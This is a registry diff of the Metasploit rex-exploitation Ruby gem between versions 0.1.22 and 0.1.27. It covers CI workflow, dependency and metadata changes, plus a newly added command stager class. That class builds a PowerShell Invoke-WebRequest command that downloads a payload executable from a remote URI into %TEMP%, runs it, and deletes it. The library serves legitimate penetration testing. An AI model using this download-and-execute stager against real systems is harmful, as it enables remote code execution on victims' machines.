rex-exploitation 0.1.22 → 0.1.27
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +4 -4
- checksums.yaml.gz.sig +0 -0
- data.tar.gz.sig +0 -0
- data/.github/workflows/verify.yml +56 -0
- data/lib/rex/exploitation/cmdstager.rb +2 -1
- data/lib/rex/exploitation/cmdstager/{lwp-request.rb → lwprequest.rb} +0 -0
- data/lib/rex/exploitation/cmdstager/psh_invokewebrequest.rb +46 -0
- data/lib/rex/exploitation/egghunter.rb +2 -2
- data/lib/rex/exploitation/omelet.rb +1 -1
- data/lib/rex/exploitation/version.rb +1 -1
- data/rex-exploitation.gemspec +5 -5
- metadata +39 -38
- metadata.gz.sig +0 -0
- data/.travis.yml +0 -6
checksums.yaml
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
---
|
2
2
|
SHA256:
|
3
|
-
metadata.gz:
|
4
|
-
data.tar.gz:
|
3
|
+
metadata.gz: 6af3ee2c6b8d344941a8012d9db6e3eecb171fe86f455cf5691227903d829d36
|
4
|
+
data.tar.gz: 461a8850613ec43afae0ebc895d4abae0dad33feb93cd53bf5058a949d3c621d
|
5
5
|
SHA512:
|
6
|
-
metadata.gz:
|
7
|
-
data.tar.gz:
|
6
|
+
metadata.gz: 6e52334ebb63559fde83d3251f430ede4a5f301514f2be75653043c221ed57e0d6c0a34f17b950bc0a6b2f007b380dc21aff6e204cbce009dc5e4f6281913619
|
7
|
+
data.tar.gz: 6f1ee703a95a8ad06f6e28ef208f6562e7231ec5ee973d9285bbbd36d12aedd2ce2cedaf846bdb87a2bb997b760f3e7a575a74e034dea0ffaf0946037856f247
|
checksums.yaml.gz.sig
CHANGED
Binary file
|
data.tar.gz.sig
CHANGED
Binary file
|
@@ -0,0 +1,56 @@
|
|
1
|
+
name: Verify
|
2
|
+
|
3
|
+
on:
|
4
|
+
push:
|
5
|
+
branches:
|
6
|
+
- '*'
|
7
|
+
pull_request:
|
8
|
+
branches:
|
9
|
+
- '*'
|
10
|
+
|
11
|
+
jobs:
|
12
|
+
test:
|
13
|
+
runs-on: ubuntu-16.04
|
14
|
+
timeout-minutes: 40
|
15
|
+
|
16
|
+
strategy:
|
17
|
+
fail-fast: true
|
18
|
+
matrix:
|
19
|
+
ruby:
|
20
|
+
- 2.6
|
21
|
+
- 2.7
|
22
|
+
- 3.0
|
23
|
+
test_cmd:
|
24
|
+
- bundle exec rspec
|
25
|
+
|
26
|
+
env:
|
27
|
+
RAILS_ENV: test
|
28
|
+
|
29
|
+
name: Ruby ${{ matrix.ruby }} - ${{ matrix.test_cmd }}
|
30
|
+
steps:
|
31
|
+
- name: Checkout code
|
32
|
+
uses: actions/checkout@v2
|
33
|
+
|
34
|
+
- uses: actions/setup-ruby@v1
|
35
|
+
with:
|
36
|
+
ruby-version: ${{ matrix.ruby }}
|
37
|
+
|
38
|
+
- name: Setup bundler
|
39
|
+
run: |
|
40
|
+
gem install bundler
|
41
|
+
- uses: actions/cache@v2
|
42
|
+
with:
|
43
|
+
path: vendor/bundle
|
44
|
+
key: ${{ runner.os }}-gems-${{ hashFiles('**/Gemfile.lock') }}
|
45
|
+
restore-keys: |
|
46
|
+
${{ runner.os }}-gems-
|
47
|
+
- name: Bundle install
|
48
|
+
run: |
|
49
|
+
bundle config path vendor/bundle
|
50
|
+
bundle install --jobs 4 --retry 3
|
51
|
+
- name: ${{ matrix.test_cmd }}
|
52
|
+
run: |
|
53
|
+
echo "${CMD}"
|
54
|
+
bash -c "${CMD}"
|
55
|
+
env:
|
56
|
+
CMD: ${{ matrix.test_cmd }}
|
@@ -12,4 +12,5 @@ require 'rex/exploitation/cmdstager/printf'
|
|
12
12
|
require 'rex/exploitation/cmdstager/wget'
|
13
13
|
require 'rex/exploitation/cmdstager/curl'
|
14
14
|
require 'rex/exploitation/cmdstager/fetch'
|
15
|
-
require 'rex/exploitation/cmdstager/
|
15
|
+
require 'rex/exploitation/cmdstager/lwprequest'
|
16
|
+
require 'rex/exploitation/cmdstager/psh_invokewebrequest'
|
File without changes
|
@@ -0,0 +1,46 @@
|
|
1
|
+
# -*- coding: binary -*-
|
2
|
+
|
3
|
+
class Rex::Exploitation::CmdStagerPSHInvokeWebRequest < Rex::Exploitation::CmdStagerBase
|
4
|
+
|
5
|
+
def http?
|
6
|
+
true
|
7
|
+
end
|
8
|
+
|
9
|
+
def user_agent
|
10
|
+
/WindowsPowerShell/
|
11
|
+
end
|
12
|
+
|
13
|
+
def generate(opts = {})
|
14
|
+
if opts[:payload_uri].nil?
|
15
|
+
raise "#{self.class.name}##{__callee__} missing opts[:payload_uri]"
|
16
|
+
end
|
17
|
+
|
18
|
+
opts[:temp] ||= '%TEMP%'
|
19
|
+
opts[:file] ||= "#{Rex::Text.rand_text_alpha(8)}.exe"
|
20
|
+
@payload_path = "#{opts[:temp]}\\#{opts[:file]}"
|
21
|
+
|
22
|
+
super
|
23
|
+
end
|
24
|
+
|
25
|
+
def generate_cmds_payload(opts)
|
26
|
+
# NOTE: This requires PowerShell >= 3.0
|
27
|
+
cmd = "Invoke-WebRequest -OutFile #{@payload_path} #{opts[:payload_uri]}"
|
28
|
+
|
29
|
+
# TODO: Craft a better command line, probably with encoding
|
30
|
+
["powershell.exe -c #{cmd}"]
|
31
|
+
end
|
32
|
+
|
33
|
+
def generate_cmds_decoder(opts)
|
34
|
+
cmds = []
|
35
|
+
|
36
|
+
cmds << @payload_path
|
37
|
+
cmds << "del #{@payload_path}" unless opts[:nodelete]
|
38
|
+
|
39
|
+
cmds
|
40
|
+
end
|
41
|
+
|
42
|
+
def cmd_concat_operator
|
43
|
+
' & '
|
44
|
+
end
|
45
|
+
|
46
|
+
end
|
@@ -36,7 +36,7 @@ class Egghunter
|
|
36
36
|
Alias = "win"
|
37
37
|
|
38
38
|
module X86
|
39
|
-
Alias = ARCH_X86
|
39
|
+
Alias = Rex::Arch::ARCH_X86
|
40
40
|
|
41
41
|
#
|
42
42
|
# The egg hunter stub for win/x86.
|
@@ -250,7 +250,7 @@ EOS
|
|
250
250
|
Alias = "linux"
|
251
251
|
|
252
252
|
module X86
|
253
|
-
Alias = ARCH_X86
|
253
|
+
Alias = Rex::Arch::ARCH_X86
|
254
254
|
|
255
255
|
#
|
256
256
|
# The egg hunter stub for linux/x86.
|
data/rex-exploitation.gemspec
CHANGED
@@ -6,8 +6,8 @@ require 'rex/exploitation/version'
|
|
6
6
|
Gem::Specification.new do |spec|
|
7
7
|
spec.name = "rex-exploitation"
|
8
8
|
spec.version = Rex::Exploitation::VERSION
|
9
|
-
spec.authors = [
|
10
|
-
spec.email = [
|
9
|
+
spec.authors = ['Metasploit Hackers']
|
10
|
+
spec.email = ['msfdev@metasploit.com']
|
11
11
|
|
12
12
|
spec.summary = %q{Ruby Exploitation(Rex) library for various exploitation helpers}
|
13
13
|
spec.description = %q{This gem contains various helper mechanisms for creating exploits.
|
@@ -24,10 +24,10 @@ Gem::Specification.new do |spec|
|
|
24
24
|
|
25
25
|
spec.required_ruby_version = '>= 2.2.0'
|
26
26
|
|
27
|
-
spec.add_development_dependency "
|
28
|
-
spec.add_development_dependency "
|
29
|
-
spec.add_development_dependency "rspec", "~> 3.0"
|
27
|
+
spec.add_development_dependency "rake"
|
28
|
+
spec.add_development_dependency "rspec"
|
30
29
|
|
30
|
+
spec.add_runtime_dependency 'rexml'
|
31
31
|
spec.add_runtime_dependency 'rex-text'
|
32
32
|
spec.add_runtime_dependency 'rex-arch'
|
33
33
|
spec.add_runtime_dependency 'rex-encoder'
|
metadata
CHANGED
@@ -1,10 +1,10 @@
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
2
2
|
name: rex-exploitation
|
3
3
|
version: !ruby/object:Gem::Version
|
4
|
-
version: 0.1.
|
4
|
+
version: 0.1.27
|
5
5
|
platform: ruby
|
6
6
|
authors:
|
7
|
-
-
|
7
|
+
- Metasploit Hackers
|
8
8
|
autorequire:
|
9
9
|
bindir: exe
|
10
10
|
cert_chain:
|
@@ -64,20 +64,20 @@ cert_chain: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
|
96
|
-
date:
|
96
|
+
date: 2021-02-11 00:00:00.000000000 Z
|
97
97
|
dependencies:
|
98
98
|
- !ruby/object:Gem::Dependency
|
99
|
-
name:
|
99
|
+
name: rake
|
100
100
|
requirement: !ruby/object:Gem::Requirement
|
101
101
|
requirements:
|
102
|
-
- - "
|
102
|
+
- - ">="
|
103
103
|
- !ruby/object:Gem::Version
|
104
|
-
version: '
|
104
|
+
version: '0'
|
105
105
|
type: :development
|
106
106
|
prerelease: false
|
107
107
|
version_requirements: !ruby/object:Gem::Requirement
|
108
108
|
requirements:
|
109
|
-
- - "
|
109
|
+
- - ">="
|
110
110
|
- !ruby/object:Gem::Version
|
111
|
-
version: '
|
111
|
+
version: '0'
|
112
112
|
- !ruby/object:Gem::Dependency
|
113
|
-
name:
|
113
|
+
name: rspec
|
114
114
|
requirement: !ruby/object:Gem::Requirement
|
115
115
|
requirements:
|
116
|
-
- - "
|
116
|
+
- - ">="
|
117
117
|
- !ruby/object:Gem::Version
|
118
|
-
version: '
|
118
|
+
version: '0'
|
119
119
|
type: :development
|
120
120
|
prerelease: false
|
121
121
|
version_requirements: !ruby/object:Gem::Requirement
|
122
122
|
requirements:
|
123
|
-
- - "
|
123
|
+
- - ">="
|
124
124
|
- !ruby/object:Gem::Version
|
125
|
-
version: '
|
125
|
+
version: '0'
|
126
126
|
- !ruby/object:Gem::Dependency
|
127
|
-
name:
|
127
|
+
name: rexml
|
128
128
|
requirement: !ruby/object:Gem::Requirement
|
129
129
|
requirements:
|
130
|
-
- - "
|
130
|
+
- - ">="
|
131
131
|
- !ruby/object:Gem::Version
|
132
|
-
version: '
|
133
|
-
type: :
|
132
|
+
version: '0'
|
133
|
+
type: :runtime
|
134
134
|
prerelease: false
|
135
135
|
version_requirements: !ruby/object:Gem::Requirement
|
136
136
|
requirements:
|
137
|
-
- - "
|
137
|
+
- - ">="
|
138
138
|
- !ruby/object:Gem::Version
|
139
|
-
version: '
|
139
|
+
version: '0'
|
140
140
|
- !ruby/object:Gem::Dependency
|
141
141
|
name: rex-text
|
142
142
|
requirement: !ruby/object:Gem::Requirement
|
@@ -211,14 +211,14 @@ description: |-
|
|
211
211
|
This gem contains various helper mechanisms for creating exploits.
|
212
212
|
This includes SEH Overwrite helpers, egghunters, command stagers and more.
|
213
213
|
email:
|
214
|
-
-
|
214
|
+
- msfdev@metasploit.com
|
215
215
|
executables: []
|
216
216
|
extensions: []
|
217
217
|
extra_rdoc_files: []
|
218
218
|
files:
|
219
|
+
- ".github/workflows/verify.yml"
|
219
220
|
- ".gitignore"
|
220
221
|
- ".rspec"
|
221
|
-
- ".travis.yml"
|
222
222
|
- CODE_OF_CONDUCT.md
|
223
223
|
- Gemfile
|
224
224
|
- LICENSE
|
@@ -263,8 +263,9 @@ files:
|
|
263
263
|
- lib/rex/exploitation/cmdstager/debug_write.rb
|
264
264
|
- lib/rex/exploitation/cmdstager/echo.rb
|
265
265
|
- lib/rex/exploitation/cmdstager/fetch.rb
|
266
|
-
- lib/rex/exploitation/cmdstager/
|
266
|
+
- lib/rex/exploitation/cmdstager/lwprequest.rb
|
267
267
|
- lib/rex/exploitation/cmdstager/printf.rb
|
268
|
+
- lib/rex/exploitation/cmdstager/psh_invokewebrequest.rb
|
268
269
|
- lib/rex/exploitation/cmdstager/tftp.rb
|
269
270
|
- lib/rex/exploitation/cmdstager/vbs.rb
|
270
271
|
- lib/rex/exploitation/cmdstager/wget.rb
|
metadata.gz.sig
CHANGED
Binary file
|